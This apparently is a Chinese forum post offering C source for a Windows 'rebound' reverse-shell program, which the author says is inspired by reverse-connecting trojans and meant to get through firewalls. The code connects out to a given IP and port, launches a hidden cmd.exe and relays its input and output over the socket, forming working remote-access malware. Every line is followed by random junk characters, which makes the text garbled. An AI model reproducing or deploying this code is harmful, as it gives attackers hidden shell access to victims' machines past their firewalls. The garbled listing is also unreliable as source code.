这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o4zX
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/* ============================== 6XFLWN-)
Rebound port in Windows NT 9i=HZ\s3
By wind,2006/7 6w"_sK?
===============================*/ xa=Lu?t%<
#include a7?)x])e
#include x @a3STKT
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#pragma comment(lib,"wsock32.lib") S{0iPdUC
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void OutputShell(); jQ"z\}Wf
SOCKET sClient; _ddOsg|U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4X1!t
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void main(int argc,char **argv) qdOUvf
{ _<8~CWo:
WSADATA stWsaData; qDVt
int nRet; #B^A"?*S
SOCKADDR_IN stSaiClient,stSaiServer; "KiTjl`M,
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if(argc != 3) XHh!Q0v;
{ q;)+O#CR
printf("Useage:\n\rRebound DestIP DestPort\n"); <Wwcd8d
return; N,4. %|1
} dPm_jX
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WSAStartup(MAKEWORD(2,2),&stWsaData); t|5T,YFG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2}BQ=%E!'
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stSaiClient.sin_family = AF_INET; :;g7T -_q
stSaiClient.sin_port = htons(0); 4pJ #fkc^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Bn<1zg5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2LTMt?
{ `q$a
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printf("Bind Socket Failed!\n"); YaT6vSz
return; <b,oF]+;z
} SJJ[y"GvD
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stSaiServer.sin_family = AF_INET; 7:S4 Ur
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); og~Uv"&?T
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Po1/_#mu
l(<=JUO;
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (>R
{ h3`\L4b
printf("Connect Error!"); wyi%!H
return; 9sI&&Jg
} b)(rlX
OutputShell(); d$gT,+|vu
} $SbgdbX
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void OutputShell() fN!lXPgM
{ ZYexW=@
char szBuff[1024]; .*k$abb
SECURITY_ATTRIBUTES stSecurityAttributes; k0(_0o
OSVERSIONINFO stOsversionInfo; ;_oJGII?br
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?s-Z3{k
STARTUPINFO stStartupInfo; \+T U{vr
char *szShell; _pN:p7l(
PROCESS_INFORMATION stProcessInformation; n([9U0!gu
unsigned long lBytesRead; c]+uj q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iRIO~XVo
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B'D\l\w
stSecurityAttributes.lpSecurityDescriptor = 0; Gv+$7{
stSecurityAttributes.bInheritHandle = TRUE; `bJ?8~ 8*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NE)Yd7m-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2CY4nSKW
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #7r13$>!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B~h3naSe
stStartupInfo.wShowWindow = SW_HIDE; 8-&c%h
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stStartupInfo.hStdInput = hReadPipe; hqW),^\>'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6.'j\
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GetVersionEx(&stOsversionInfo); RA$%3L[A!
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switch(stOsversionInfo.dwPlatformId) Tv6HPD$[
{ oWb\T
2!m
case 1: 2/>u8j
szShell = "command.com"; \n>7T*iM&
break; WdZ_^
default: @QO^3%b8
szShell = "cmd.exe"; m|]:oT`M
break; Ju@8_ ?8=
} V~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %5ovW<E:
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send(sClient,szMsg,77,0); cfC}"As
while(1) V)Sw\tS6g
{ EpCF/i?9:
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P\ia ?9
if(lBytesRead) j_{f(.5
{ ,.z?=]'en
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); NA!?.zn
send(sClient,szBuff,lBytesRead,0); ;-Ki`x.oJ
} Jq*Q;}n
else wA2^I70-
{ WYm<_1
lBytesRead=recv(sClient,szBuff,1024,0); VD~
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if(lBytesRead<=0) break; "8iIOeY-\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} 9U4 D$M
} g%_3
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return; 5q;c=oRUj
}